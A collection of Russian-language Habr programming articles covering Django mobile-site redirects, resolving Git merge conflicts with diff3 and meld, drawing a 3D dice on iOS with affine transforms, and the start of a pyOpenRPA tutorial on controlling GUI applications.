Вкратце, как она работает: вы подключаете middleware, которая в зависимости от Host заголовка подменяет схему URL'ов. Помимо джанговской функции `reverse`, вы можете использовать из этой библиотеки `reverse_full`, которая строит абсолютный URL. Подобный тег `host_url` можно использовать в шаблонах. Используемые функции `reverse_host`, `get_host` также взяты из этого приложения.
### 2.3 Отдельные контроллеры для большой и мобильной версии
Несмотря на то, что порой контроллеры большой и мобильной версий сайта отдают в контекст одинаковые данные, мы их разделили на отдельные функции/классы. Да, между ними есть дублирование, но зато код становится понятней без лишних абстракций и проверок, когда какие функции нужны и в каком виде.
3. Разработка мобильной версии
==============================
Мобильная версия должна решать следующие задачи:
1. Определение версии сайта и редирект для соответствующих устройств.
2. Возможность пользователя отказаться от мобильной версии и использовать основную.
3. Редиректы должны перенаправлять на соответствующую мобильную версию и наоборот. Нехорошо кидать пользователя на главную и заставлять искать с начала.
4. Если пользователь попал на отсутствующую страницу в мобильной версии, для которой есть аналог в большой версии, ему нужно явно сообщать об этом. Этой задачи не было, если бы обе версии соответствовали друг другу.
5. Необходимо указывать мета теги alternate и canonical, если для страницы доступен мобильный аналог.
### 3.1 Определение версии сайта
С какого устройства пользователь зашел на наш проект мы определяем с помощью нашего модуля nginx. Выглядит это примерно вот так:
```
set $mobile $rb_mobile;
if ($cookie_mobile ~ 0) { set $mobile ""; } # discard by cookie
proxy_set_header X-Mobile-Version $mobile;
```
Модуль опредеяет тип версии, которую нужно показать (m или touch), но если у пользователя стоит кука mobile, мы игнорируем это. Результат передается в виде http заголовка на бэкенд.
Дальнейшая обработка запроса происходит в middleware.
```
class MobileMiddleware(object):
def process_request(self, request):
if request.method != 'GET': # redirect only GET requests
return
mobile_version = request.META.get(MOBILE_HEADER, '')
if not mobile_version: # redirect only for mobile devices
return
hostname = request.host.name
if hostname in settings.MOBILE_HOSTS: # redirect only for main version
return
if mobile_version == 'm':
host = get_host('mobile-' + hostname)
elif mobile_version == 'touch':
host = get_host('touch-' + hostname)
else:
# wrong header value
return
if not is_valid_path(request.path, host.urlconf):
# url doesn't exist in mobile version
return
redirect_to = u'http://{}{}'.format(reverse_host(host), request.get_full_path())
return http.HttpResponseRedirect(redirect_to)
```
Редирект пользователя возможен, если:
* пришел GET запрос;
* запрос пришел на основную версию сайта (если пользователь явно набрал адрес мобильной версии — оставим его на ней);
* проверим, есть ли такая страница в мобильной версии (не редиректить же его на 404).
В общем случае какую версию отдать пользователю, [определяется](https://github.com/gregmuellegger/django-mobile/blob/master/django_mobile/middleware.py) по UserAgent в middleware. Там же нужно проверить значение куки mobile. Сам я не пользовался приложением django-mobile, возможно, есть другие более точные библиотеки для определения типа устройства. Предложите их в комментариях.
### 3.2 Переход на большую версию сайта
На мобильную версию мы отправили пользователя, дадим ему также возможность перейти обратно на большую версию. В подвалах наших проектов содержится ссылка вида `/go-health/`, по которой и осуществляется переход.
```
url(r'^go-health(?P/.\*)$', 'health.mobile.views.go')
```
К сожалению, иногда страницы мобильной версии отличаются от основной. Та информация, которая легко помещается на большой версии, в мобильной разделяется на 3 страницы. Поэтому отбрасывать поддомен и редиректить на тот же URL, было бы неправильно. Мы выбрали следующий алгоритм:
1. Определяем имя роута той страницы, на которой мы находимся.
2. Функция контроллера может содержать специальный атрибут `go_view_name`. В этом случае мы редиректим на страницу с этим (другим) именем роута. Это нужно как раз для того случая, когда несколько страниц одной версии соответствуют одной странице большой версии.
3. В остальных случаях редиректим на роут большой версии с тем же именем.
Таким образом, имя роутов выступает связкой между контроллерами большой и мобильной версии.
```
@never_use_mobile
def go(request, path):
meta_query_string = request.META.get('QUERY_STRING', '')
query_string = '?' + iri_to_uri(meta_query_string) if meta_query_string else ''
main_host = get_main_host(request.host)
try:
resolver_match = resolve(path)
except Resolver404:
pass
else:
if hasattr(resolver_match.func, 'go_view_name'):
redirect_to = 'http:%s%s' % (reverse_full(
main_host.name, resolver_match.func.go_view_name,
view_args=resolver_match.args, view_kwargs=resolver_match.kwargs),
query_string)
return HttpResponseRedirect(redirect_to)
# path matches url patterns, otherwise 404
resolver_match = resolve(path, main_host.urlconf)
redirect_to = 'http:%s%s' % (reverse_full(
main_host.name, resolver_match.view_name,
view_args=resolver_match.args, view_kwargs=resolver_match.kwargs),
query_string)
return HttpResponseRedirect(redirect_to)
```
Атрибут `go_url_name` назначается через декоратор
```
def go(url_name):
def decorator(view_func):
@wraps(view_func, assigned=available_attrs(view_func))
def _wrapped_view_func(*func_args, **func_kwargs):
return view_func(*func_args, **func_kwargs)
_wrapped_view_func.go_url_name = url_name
return _wrapped_view_func
return decorator
@go('health-news-index')
def rubric_list(request):
...
```
А декоратор `never_use_mobile` ставит куку mobile для отмены автоматического редиректа
```
def never_use_mobile(view_func):
@wraps(view_func, assigned=available_attrs(view_func))
def _wrapped_view_func(request, *args, **kwargs):
response = view_func(request, *args, **kwargs)
set_mobile_cookie(response, 0)
return response
return _wrapped_view_func
```
К сожалению, тач версии развиваются после основных разделов и не всегда соответствуют страницам на большой версии, поэтому такой код приходится держать.
Атрибут `go_view_name` просто подменяет имя роута для страницы-аналога. Это довольно ограниченное решение, но его пока хватает.
### 3.3 404 для мобильной версии
Вы можете не просто сообщать пользователю о том, что страница не найдена, но и указать, что такая страница есть в полной версии сайта. При этом проверить URL по схеме URL'ов недостаточно: запрос `/news/foo/` соответствует схеме URL'ов, а новости такой нет. Поэтому надо попытаться выполнить функцию контроллера в основной схеме урлов. Есть еще одна тонкость: надо подменять текущую схему URL'ов для большой версии, так как она нужна функциям `reverse` и тегу url. Иначе вы будете рендерить страницу большой версии в схеме URL'ов мобильной.
```
def page_not_found(request):
current_host = request.host
hostname = current_host.name
main_host = get_host(hostname.replace('mobile-', ''))
try:
# path matches url patterns
resolver_match = resolve(request.path, urlconf=main_host.urlconf)
except Resolver404:
return mobile_404(request)
set_urlconf(main_host.urlconf)
try:
# function returns not 404 with passed arguments
resolver_match.func(request, *resolver_match.args, **resolver_match.kwargs)
except Http404:
set_urlconf(current_host.urlconf)
return mobile_404(request)
set_urlconf(current_host.urlconf)
meta_query_string = request.META.get('QUERY_STRING', '')
query_string = '?' + iri_to_uri(meta_query_string) if meta_query_string else ''
redirect_to = 'http:%s%s' % (reverse_full(
main_host.name, resolver_match.view_name,
view_args=resolver_match.args, view_kwargs=resolver_match.kwargs),
query_string)
return mobile_fallback404(request, redirect_to)
```
### 3.4 Мета теги alternate и canonical
Эти URL'ы строятся с помощью функций или шаблонных тегов приложения django-host.
```
context['canonical'] = build_canonical(reverse_full('www', 'health-news-index'))
context['alternate'] = {
'touch': build_canonical(reverse_full('touch-www', 'health-news-index'))
}
```
4. Вместо заключения
====================
Хочется повторить, что основные трудности реализации вызваны расхождением основной и мобильной версий. Пока не получается развивать мобильную версию одновременно с большой, приходится идти этим путем и держать в коде эти проверки. Возможно, в скором времени мы перейдем на мобильную версию на том же домене и отдельно напишем об этом способе. | https://habr.com/ru/post/239343/ | null | ru | null |
# Безболезненное разрешение Merge конфликтов в Git
Предлагаю читателям "Хабрахабра" перевод публикации ["Painless Merge Conflict Resolution in Git"](http://blog.wuwon.id.au/2010/09/painless-merge-conflict-resolution-in.html) из блога blog.wuwon.id.au.
В моей повседневной работе, часто приходится иметь дело со множеством git ветвей (branch). Это могут быть ветви промежуточных релизов, ветви с устаревшим API находящиеся на поддержке для некоторых клиентов, или ветви с экспериментальными свойствами. Лёгкость создания ветвей в модели Git так и соблазняет разработчиков создавать все больше и больше ветвей, и как правило бремя от большого количества ветвей становится очень ощутимым, когда приходится все эти ветви поддерживать и периодически делать слияния (merge) с другими ветвями.
Слияния очень важны для поддержания кода в актуальном состоянии, и как правило ошибка сделанная при слиянии может привести к большей головной боли, нежели ошибка сделанная при простом коммите. К сожалению ошибки слияния далеко не редкость, потому что во-первых слияния имеют несколько родительских ветвей. Даже при анализе истории слияния ветвей, бывает очень трудно понять, какие же изменения были сделаны для разрешения конфликта. Во-вторых, [отмена неудачного слияния](http://www.kernel.org/pub/software/scm/git/docs/howto/revert-a-faulty-merge.txt) может превратиться в большую головную боль. В-третьих, большая часть конфликтов слияния происходит при работе с чужим кодом, потому что само понятие ветвей подразумевает множество пользователей, т.е. далеко не всегда слияние производит тот же человек который работал с той или иной веткой. В сухом остатке, сделать ошибку при слиянии очень легко, её трудно исправить и трудно найти. Таким образом время потраченное на изучение и понимание процесса слияния ветвей, окупится с лихвой.
Удивительно, но я обнаружил, что многие доступные инструменты и интерфейсы предназначенные для выполнения слияний, не достаточно хорошо оснащены для эффективного выполнения этого процесса. Часто программист просто надеется что команда git merge сделает за него всю работу. Но когда все-таки происходит конфликт, то обычно стратегия слияния заключается в беглом просмотре кода вокруг строки конфликта, и интуитивном угадывании что именно данный кусок кода предпочтительней другого.
В данной статье я надеюсь продемонстрировать что процесс разрешения конфликтов может быть пошагово точным, при котором отпадает необходимость что-либо там угадывать.
Голубые Розы (Roses are Blue)
-----------------------------
Давайте предположим что вашей команде поручили писать поэмы в отведённом для этих целей репозитории. (Какой кошмар!) А вам доверили самое главное — делать слияния последних фиксов из ветки master в ветку beta. Итак, вы переключаетесь в ветку beta и выполняете следующую команду:
```
$ git merge master
Auto-merging roses.txt
CONFLICT (content): Merge conflict in roses.txt
Automatic merge failed; fix conflicts and then commit the result.
```
Ого, это конфликт. Вы решаете просмотреть файл на который ссылается git:
```
$ cat roses.txt
<<<<<<< HEAD
roses are #ff0000
violets are #0000ff
all my base
are belong to you
=======
Roses are red,
Violets are blue,
All of my base
Are belong to you.
>>>>>>> master
(Listing 1)
```
Замечательно! Весь файл, как показывает Listing 1, находится в конфликтном состоянии. Какой же вариант файла является более корректным? Оба варианта выглядят корректно. Верхний вариант написан в хакер-стиле с элементами цветовой кодировки в стиле HTML и с использованием только строчных букв. Нижний вариант выглядит более натурально, с использованием пунктуации и заглавных букв.
Если бы это был ваш проект, вы бы могли просто выбрать один вариант и покончить с этим слиянием. Но проблема в том, что это не ваша поэма, вы никогда не читали эту поэму раньше, не были ответственны за написание или редактирование, и вы отлично понимаете что в случае не верного решения чья-то тяжёлая работа может кануть в небытие. Однако вас всё же назначили ответственным по слиянию этих веток. Что же вам делать?
Назад к Базе (Back to Base)
---------------------------
Хитрость заключается в том, что Listing 1 не даёт вам полную информацию, необходимую для совершения корректного слияния. На самом деле, в процессе слияния участвуют четыре важных части информации (состояния), три из которых просто необходимы для успешного разрешения конфликта. В случае Listing 1, Git предоставил вам только два состояния.
Следующая диаграмма иллюстрирует эти четыре состояния:

Состояния (B) и © относятся к текущим положениям (head) веток master и beta соответственно, эти два состояния как раз таки и отражены в Listing 1. Состояние (D) это результат слияния, то что вы хотите получить/сгенерировать в конечном итоге (в большинстве случаев Git автоматически генерирует состояние (D)). Состояние (А) на самом верху, представляет собой базу (основу) слияния веток master и beta. База слияния (A) это последний общий предок веток master и beta, и пока предположим что это база слияния уникальна. Как мы увидим позже состояние (A) играет ключевую роль в разрешении конфликтов. На диаграмме я также отразил дельты 1 и 2, которые представляют изменения между состояниями (A)-(B), и (A)-© соответственно. Зная состояния (A), (B) и © дельты 1 и 2 могут быть легко получены (вычислены). Обратите внимание, что дельты 1 и 2 могут состоять из более чем одного коммита. Но для наших целей будем считать что все дельты монолитны.
Чтобы понять, как получить состояние (D), вы должны понимать что же операция слияния пытается сделать. Состояние (D) должно представлять собой сочетание изменений, внесённых в ветку master и beta соответственно. Т.е. другими словами сочетание дельт 1 и 2. Идея проста на поверхности и большую часть времени не требует вмешательства со стороны человека, за исключением особых случаев когда дельты затрагивают наслаиваемые (пересекающиеся) части файла. В такой ситуации вам требуется помочь машине сгенерировать результат (D), путём сравнения дельт 1 и 2.
Определение Отличий (Identifying the Differences)
-------------------------------------------------
Для того чтобы найти изменения внесённые в каждую ветку, необходимо знать как выглядит база слияния, состояние (A). Самый простой механизм получения информации о базе слияния, это установка опции merge.conflictstyle в значение diff3
```
$ git config merge.conflictstyle diff3
```
После включения этой опции, попробуйте заново сделать слияние (git reset --hard; git merge master) и проинспектируйте конфликтующий файл ещё раз:
```
$ cat roses.txt
<<<<<<< HEAD
roses are #ff0000
violets are #0000ff
all my base
are belong to you
|||||||
roses are red
violets are blue
all my base
are belong to you
=======
Roses are red,
Violets are blue,
All of my base
Are belong to you.
>>>>>>> master
(Listing 2)
```
Теперь мы видим третий фрагмент посередине, который и является базой слияния или состояние (A). Изменения видны как на ладони: в ветке beta (HEAD) человеческие названия цветов были заменены на HTML коды, а в ветку master добавили капитализацию и пунктуацию. Основываясь на этих знаниях, мы теперь знаем что результат должен включать в себя капитализацию, пунктуацию и HTML коды цветов.
В принципе на этом можно было бы и закончить, потому что результат достигнут. Но есть решение и получше.
Графическое Слияние (GUI Merging)
---------------------------------
Хотя и простое текстовое представление конфликта слияния делает свою работу в простых случаях, на практике конфликты могут быть более радикальными и сложными. В таких случаях могут помочь графические инструменты. Мой выбор пал на простой инструмент написанный на Python под названием [meld](http://meld.sourceforge.net), но может подойти любой другой графический инструмент, способный представить слияние в трёх-колоночном виде.
Для использования графического инструмента (он должен быть установлен), после того как git пожаловался что есть конфликт, введите следующую команду:
```
$ git mergetool
```
Последует вопрос какой программой для слияния вы хотели бы воспользоваться, просто введите meld и нажмите Enter. Вот как окно программы может выглядеть (подразумевается опция merge.conflictstyle не была включена):

Несмотря на то что информация представлена бок о бок, она не отображает нужные фрагменты которые были в Listing 2. Мы не видим здесь фрагмента базы слияния (состояния (A)), что мы видим это файл roses.txt.LOCAL.2760.txt в левой колонке и файл roses.txt.REMOTE.2760.txt в правой колонке и файл посередине это неудачное слияние. Т.е. по сути нам представили состояния (B), © и несостоявшееся состояние (D), но состояние (A) отсутствует...
Правда отсутствует? Давайте проверим, в старом добром терминале:
```
$ ls -1
roses.txt
roses.txt.BACKUP.2760.txt
roses.txt.BASE.2760.txt
roses.txt.LOCAL.2760.txt
roses.txt.REMOTE.2760.txt
```
Видим интересующий нас файл: roses.txt.BASE.2760.txt. Это и есть файл базы слияния. Теперь нам осталось всего лишь найти изменения внесённые в ветки master и beta, по отношению к базе. Мы можем сделать это двумя отдельными вызовами meld:
```
$ meld roses.txt.LOCAL.2760.txt roses.txt.BASE.2760 &
$ meld roses.txt.BASE.2760 roses.txt.REMOTE.2760.txt &
```
(Кто-то может подметить что было бы более разумно, поменять порядок аргументов в первом вызове, для того чтобы файл базы находился в левой колонке в обоих случаях, но именно такой порядок сохраняет подобие трёх-колоночного вида, при котором база остаётся по середине.) Результат выполнения — два окна как показано ниже:

При чтении первого окна справа налево и второго окна слева направо, становится ясно как день, какие изменения произошли в каждой ветке. Так как meld любезно подсветил все изменения, теперь практически не возможно пропустить даже мелко заметные правки (Кто-нибудь заметил добавление предлога "of" при просмотре текстового представления разрешения конфликта Listing 1 или даже Listing 2?)
Вооружившись этими знаниями, мы теперь можем вернуться к трёх-колоночному представлению и сделать изменения. Моя стратегия ручного слияния это взять весь текст из ветки с более весомыми изменениями (в данном случае master/REMOTE т.е. beta), и поверх него производить пошаговые правки, т.е. вносить изменения сделанные в другой ветке (master). Вот что получилось:

А теперь всё вместе (All Together Now)
--------------------------------------
Надеюсь, вы найдёте этот трёх-окошечный метод разрешения конфликтов, таким же полезным каким нахожу его я. Но согласитесь что запускать новые вызовы meld вручную каждый раз при разрешении конфликтов, не очень то и удобно. Выход, это настроить git таким образом чтобы все три окна открывались автоматически при вызове команды git mergetool. Для этого можно создать выполняемый скрипт, который должен находится в переменной окружения PATH (например $HOME/bin/gitmerge), со следующим содержимым:
```
#!/bin/sh
meld $2 $1 &
sleep 0.5
meld $1 $3 &
sleep 0.5
meld $2 $4 $3
```
И добавьте следующее в ваш ~/.gitconfig файл:
```
[merge]
tool = mymeld
[mergetool "mymeld"]
cmd = $HOME/bin/gitmerge $BASE $LOCAL $REMOTE $MERGED
```
Теперь, когда вы в следующий раз будете запускать команду git mergetool для разрешения конфликта, откроются все три окна:
```
Окно дифа между BASE и LOCAL
Окно дифа между BASE и REMOTE
Окно трёх-колоночного вида
```
После того как вы привыкните к такому разрешению конфликтов с использованием трёх вышеупомянутых окон, вы скорее всего обнаружите, что процесс стал более методичным и механическим. В большинстве случаев, вам даже не придётся читать и понимать куски кода из каждой ветки, для того чтобы понять какой же вариант применить для слияния. Вам больше не понадобится догадываться, потому что вы будете гораздо более уверенным в корректности вашего комита. Из-за этой уверенности, появится чувство что разрешение конфликтов превратилось в увлекательное занятие.
### Бонус от переводчика
Для тех кто пользуется tmux и n?vim, предлагаю следующий скрипт [gitmerge](https://github.com/vbauerster/dotfiles/blob/master/bin/gitmerge):
```
#!/bin/sh
sn=gitmerge
tmux new-session -d -s "$sn" -n "diff3" "nvim -d $2 $4 $3"
tmux split-window -t "$sn:1" -v "nvim -d $2 $1"
tmux split-window -t "$sn:1" -h "nvim -d $1 $3"
```
**Примечание**: если вы не используете [эту опцию](https://github.com/vbauerster/dotfiles/blob/100cd6e3045a8d78a6a82f0b88dd51da1d827713/tmux.conf#L51-L52) в своем ~/.tmux.conf, то вам надо поменять в двух последних строках `"$sn:1"` на `"$sn:0"`
Соответственно добавьте следующее в ваш [~/.gitconfig](https://github.com/vbauerster/dotfiles/blob/100cd6e3045a8d78a6a82f0b88dd51da1d827713/gitconfig#L41-L44)
```
[mergetool "gitmerge"]
cmd = $HOME/bin/gitmerge \"$BASE\" \"$LOCAL\" \"$REMOTE\" \"$MERGED\"
[merge]
tool = gitmerge
```
Воркфлоу разрешения конфликта будет выглядеть так:

Пока игнорируем вопрос (Was the merge successful [y/n]?) и переключаемся в сессию под названием gitmerge (сочетание TMUXPREFIX + s):

Видим наше трёх-оконное представление на одном экране. Цифрами обозначены сплиты (panes) tmux'a, буквами соответствующие состояния. Делаем правки для разрешения конфликта, т.е. редактируем состояние (D) и сохраняем. После этого возвращаемся обратно в исходную сессию tmux'a и подтверждаем что слияние произошло успешно.

### git rebase master
Лично я предпочитаю и считаю более правильным делать сначала rebase master в ветке beta, и только после этого переключаться в master и делать git merge beta. В принципе воркфлоу не сильно отличается, за исключением трёх-оконного вида.

Переключаемся в сессию gitmerge

Обратите внимание, что состояния (B) и © поменялись местами:

Рекомендую всем поиграться с [примером репозитария](https://github.com/vbauerster/PainlessMergeConflict/blob/master/mergeconflict.tgz) хотя бы один раз, сделать разрешение конфликта по вышеописанной схеме. Лично я больше не гадаю а что же выбрать "Accept theirs" или "Accept yours". | https://habr.com/ru/post/323234/ | null | ru | null |
# Как бросить кости без OpenGL

**Необязательное вступление**Разработчики приложений под *iOS* зарабатывают не на собственных творениях, а на сторонних заказах. Создав себе имя славного парня, который творит чудеса с *iPad*-ом, рано или поздно Вы будете получать предложения от знакомых своих знакомых.
> -Алло! Напиши что-нибудь под *iOS*.
Позвольте несколько советов.
Если, по Вашему мнению, работы более чем на две недели, отказывайтесь.
Если на неделю — соглашайтесь за $5000.
Если на 2 дня — за $1000.
Еще одно правило — чем ближе круг знакомств с заказчиком — тем выше гонорар. С близкими друзьями — 100% предоплата.
Поверьте, в этом случае число мусорных проектов резко уменьшится, а уважение к Вам резко возрастет.
Один хороший человек захотел сделать электронную книгу под *iOS*, коллекцию афоризмов. Фразы вылетают случайно, данные предоставлены в формате *комма сепарейтед валью*. С *флешкой* и устным *ТЗ* он пришел к другу-программисту. Программист оценил примерный объем работы
* Конвертируем данные в *sqlite*;
* Заводим три *UIView* (левый, правый и центральный);
* В каждый *UIView* добавляем *UITextView* и *UILabel*;
* Обрабатываем нажатие *touchesBegin* для листания афоризмов вправо-влево;
* Добавляем кнопку — показать случайный афоризм.
* Добавляем закладки.
* Получаем *1000 долларов США*
Работы на 2 дня, программист согласился.
Однако в *ТЗ* было еще одно условие — при случайном выборе афоризма по экрану должен кататься **игральный кубик**. Самый обыкновенный, из шести граней.
Всю работу, кроме кубика, программист сделал быстро. Афоризмы выскакивали, как чертик из табакерки, страницы листались, как живые. Остался кубик.
**Стон программиста**-*OpenGL*,- с тоской подумал программист. 150 строк кода только для инициализации *GLKView* и чтения *текстур*, а если возиться с *шейдерами*, то лучше *Вольфенштейн 2048* доделать. Неужели нельзя простой трехмерный кубик нарисовать без *OpenGL*? Использовать обыкновенный *UIImageView*?..
Оказалось, можно.
#### Как нарисовать трехмерный кубик без использования OpenGL
В обычных играх *UIImageView \*p* использует собственный набор функций и полей для
* перемещения в точку *(x,y)*, например *p.center = CGPoint(x,y)*;
* масштабирования, например *p.transform = CGAffineTransformMakeScale(sx,sy);*
* вращения, например *p.transform = CGAffineTransformMakeRotate(alpha)*;
Однако, существует прямой доступ к матрице двумерного преобразования *UIImageView*
```
UIImageView *p = [dice objectAtIndex:i];
CGAffineTransform diceTransform = CGAffineTransformMake(a, b, c, d, tx, ty);
p.transform = diceTransform;
```
Матрица двумерного преобразования CGAffineTransform имеет 6 параметров
```
struct CGAffineTransform {
CGFloat a, b, c, d;
CGFloat tx, ty;
};
```
Любая точка изображения преобразуется согласно формуле
```
CGPointApplyAffineTransform(CGPoint point, CGAffineTransform t)
{
CGPoint p;
p.x = a * point.x + c * point.y + tx;
p.y = b * point.x + d * point.y + ty;
return p;
}
```
Для примера, чтобы повернуть картинку на угол *angle*, матрица преобразования примет вид
```
t' = [ cos(angle) sin(angle) -sin(angle) cos(angle) 0 0 ]
```
Для перемещения картинки-изображения на вектор *(tx,ty)*, матрица преобразования примет вид
```
t' = [ 1 0 0 1 tx ty ]
```
И так далее.
Таким образом, произвольный треугольник мы можем преобразовать в заданный треугольник, применив к нему матрицу преобразований с вычисляемыми коэффициентами.
Рассмотрим грань кубика. Квадратную картинку необходимо разбить на два треугольника. Пустые пикселы делаем прозрачными. Сохраняем изображения в файлы *dice\_1.png* и *dice\_2.png*

В проекте делаем создаем две переменные с указанными картинками.
```
UIImageView *p1 = [[UIImageView alloc] initWithImage:[UIImage imageNamed:@"dice_1"] ];
UIImageView *p2 = [[UIImageView alloc] initWithImage:[UIImage imageNamed:@"dice_2"] ];
```
В процессе анимации кубика, возникает задача отображения грани, которая сводится к задаче отображения на экран двух треугольников.
Рассмотрим верхний треугольник

который должен преобразоваться на экране в треугольник произвольного вида с вершинами в точках *(x1,y1), (x2,y2), (x3,y3)*

Таким образом, мы имеем 6 линейных уравнений с 6-тью неизвестными.
В результате несложных преобразований получаем решение для 6-ти неизвестных *a,b,c,d,tx,ty*;
```
float ddt = 1.0/xsize;
float a = ddt*(x3-x2);
float b = ddt*(y3-y2);
float c= ddt*(x2-x1);
float d= ddt*(y2-y1);
float tx = 0.5*(x1+x3);
float ty = 0.5*(y1+y3);
```
Здесь *xsize* — линейный размер в пикселах исходной картинки. Например *xsize = 100* для картинки размером 100 на 100.
Задача решена.
**Короткое видео**Видео приложения, демонстрирующее алгоритм.
Кубик отображается при помощи 6\*2 = 12 треугольников.
А вот версия алгоритма, внедренная в старую, классическую игру для сглаженных кубиков.
Каждый кубик отображается при помощи 18\*2 + 4 = 40 треугольников (сглажены грани и вершины). | https://habr.com/ru/post/227577/ | null | ru | null |
# pyOpenRPA туториал. Управление оконными GUI приложениями
Специально для Хабр я начинаю серию статей-туториалов по использованию RPA платформы [OpenRPA](https://habr.com/ru/post/506766/). Буду рад получить от вас комментарии и замечания, если возникнут какие-либо вопросы. Надеюсь, что эта история не оставит вас равнодушными.

Ранее я писал о том, что [OpenRPA](https://habr.com/ru/post/506766/) — это первая open source RPA платформа, которая позволяет полностью избавить себя от платных RPA аналогов. И, как выяснилось в процессе, эта тема позволяет не просто снять компании с "лицензионной иглы", а еще и увеличить получаемые бизнес-эффекты от разработанных роботов. Ведь архитектура новых RPA оказалась гораздо "легче" и, как следствие, быстрее.
Благодарю всех читателей, которые проявили интерес к моей [предыдущей статье](https://habr.com/ru/post/506766/) — я очень ценю мнение других, потому что именно это позволяет мне предлагать общественности наиболее актуальные решения. Еще раз спасибо вам за проявленный интерес!
В рамках этой статьи будет приведена подробная инструкция по разработке робота, который будет манипулировать оконными GUI приложениями.
*Под оконными приложениями понимаются все виды GUI приложений, которые не визуализируются в WEB браузерах.*
Ремарка. OpenRPA теперь становится pyOpenRPA
============================================
С момента опубликования [предыдущей статьи](https://habr.com/ru/post/506766/) произошли небольшие изменения в названии RPA платформы, а именно: [OpenRPA](https://gitlab.com/UnicodeLabs/OpenRPA) переименовывается в pyOpenRPA.
С чем это связано?
------------------
Дело в том, что само по себе название OpenRPA является "говорящим", и "лежит на поверхности". По этой причине его выбрал я, а через некоторое время и другие. Так как концепция pyOpenRPA заключается в абсолютно безвоздмездном использовании и открытости для всех, в этой RPA платформе нет каких-либо бюджетов. В связи с этим нет возможности и отстаивать монопольное право на использование названия (да это и не нужно). В связи с этим, было принято решение немного скорректировать название, чтобы избавить пользователей от возможной путаницы.
По поводу [OpenRPA от другой команды](https://github.com/open-rpa/openrpa): очень надеюсь, что им удастся реализовать свою идею, превзойти по всем параметрам платные RPA платформы, и сохранить свою открытось. В мире open source мы не конкуренты, а коллеги, которые трудятся в одном и том же направлении — в направлении создания полезного открытого продукта. Если говорить про их RPA платформу, то там поставлена цель создания аналога коммерческой RPA платформы с визуальным программированием в основе. Идея очень интересная и привлекательная, но крайне трудозатратная по исполнению (ведь не просто так лучшие RPA платформы постоянно дорабатываются огромными командами разработчиков, что ведет к комерциализации проекта). Желаю им удачи в достижении поставленных целей.
Навигация по туториалам pyOpenRPA
=================================
Туториал сверстан в виде серии статей, в которых будут освещаться ключевые технологии, необходимые для RPA.
Освоив эти технологии, у вас появится возможность углубиться в специфику той задачи, которая поставлена перед вами.
**Перечень статей-туториалов (опубликованные и планируемые):**
* [Отказываемся от платных RPA платформ и базируемся на OpenSource (pyOpenRPA)](https://habr.com/ru/post/506766/)
* >> [pyOpenRPA туториал. Управление оконными GUI приложениями](https://habr.com/ru/post/509644/)
* [pyOpenRPA туториал. Управление WEB приложениями (то, что мы смотрим в Chrome, Firefox, Opera)](https://habr.com/ru/post/515310/)
* pyOpenRPA туториал. Управление клавиатурой & мышью
* pyOpenRPA туториал. Распознавание графических объектов на экране
А теперь перейдем к самому туториалу.
Немного теории и терминов
=========================
Давайте попробуем разобраться в том, как устроены GUI приложения, и почему мы можем ими управлять.
Начнем с простого. Рассмотрим на примере классического блокнота, что видим мы, и что видит робот.
Что видим мы?
-------------

Что видит робот?
----------------

Интерпретация
-------------
Благодаря архитектуре современных операционных систем у сторонних программ имеется программная возможность по обращению к [UI элементам — они же UIO](https://ru.wikipedia.org/wiki/%D0%98%D0%BD%D1%82%D0%B5%D1%80%D1%84%D0%B5%D0%B9%D1%81_%D0%BF%D0%BE%D0%BB%D1%8C%D0%B7%D0%BE%D0%B2%D0%B0%D1%82%D0%B5%D0%BB%D1%8F) сторонних GUI приложений. Эта возможность изначально разрабатывалась для того, чтобы позволить программистам проводить [регрессионное тестирование свеого софта](https://ru.wikipedia.org/wiki/%D0%A0%D0%B5%D0%B3%D1%80%D0%B5%D1%81%D1%81%D0%B8%D0%BE%D0%BD%D0%BD%D0%BE%D0%B5_%D1%82%D0%B5%D1%81%D1%82%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5), но позже выяснилось, что эту возможность можно использовать и в бизнес-процессах компании.
Как мы видим на изображении выше, для робота, блокнот — это набор различных UIO. Причем не просто UIO, а UIO c **набором различных атрибутов, и набором различных действий**. И что самое главное — наш робот имеет полный доступ ко всем этим атрибутам и действиям.
> **Примеры атрибутов**
>
> * hidden — элемент спрятан в GUI интерфейсе от глаз пользователя
> * disabled — элемент недоступен для выполнения действий (нажатие, наведение мышкой и и т.д.)
>
>
>
>
>
> **Примеры действий**
>
> * left click — клик левой кнопкой мыши
> * right click — клик правой кнопкой мыши
> * type text — ввод текста в активную область
> * scroll up — пролистывание активной области вверх
> * scroll down — пролистывание активной области вниз
> * scroll left — пролистывание активной области влево
> * scroll right — пролистывание активной области вправо
>
>
>
>
Тут вы можете мне возразить, что это все ерунда, потому что в любой операционной системе реализованы алгоритмы, обеспечивающие разграничение информационных потоков, и одно приложение не может "залезть" в другое приложение. А я вам на это скажу, что это, действительно так, **но только для программного (технического) уровня**. Вся эта история с безопасностью не работает, когда речь заходит о доступе к GUI интерфейсам других приложений.
Что такое UIO?
--------------
UIO — это User Interface Object (терминология pyOpenRPA). В целях обеспечения максимальной совместимости, этот экземпляр наследуется от обьектной модели, разработанной в библиотеке [pywinauto (нажми, чтобы получить список доступных функций класса)](https://pywinauto.readthedocs.io/en/latest/code/pywinauto.base_wrapper.html).
Данный подход позволяет имплементировать полезную функциональность, которая уже была успешно разработана в других бибилотеках, и дополнить ее недостающей функциональностью. В нашем случае, недостающей функциональностью является возможность динамического обращения к UIO обьектам по UIO селекторам.
Правила формирования UIO селектора (UIOSelector)
------------------------------------------------
UIO селектор — это список характеристических словарей (спецификаций UIO). Данные спецификации UIO содержат условия, с помощью которых библиотека pyOpenRPA определит UIO, удовлетворяющий условиям, заданным в спецификации UIO. Индекс спецификации UIO в списке UIO селектора харакетризует уровень вложенности целевого UIO.
Говоря другим языком, UIO селектор — это перечень условий, под которые может попасть 0, 1 или n UIO.
Ниже приведен перечень атрибутов — условий, которые можно использовать в спецификациях UIO:
```
[
{
"depth_start" :: [int, start from 1] :: глубина, с которой начинается поиск (по умолчанию 1),
"depth_end" :: [int, start from 1] :: глубина, до которой ведется поиск (по умолчанию 1),
"ctrl_index" || "index" :: [int, starts from 0] :: индекс UIO в списке у родительского UIO,
"title" :: [str] :: идентичное наименование атрибута *title* искомого объекта UIO,
"title_re" :: [str] :: регулярное выражение (python диалект) для отбора UIO, у которого атрибут *title* должен удовлетворять условию данного регулярного выражения,
"rich_text" :: [str] :: идентичное наименование атрибута *rich_text* искомого объекта UIO,
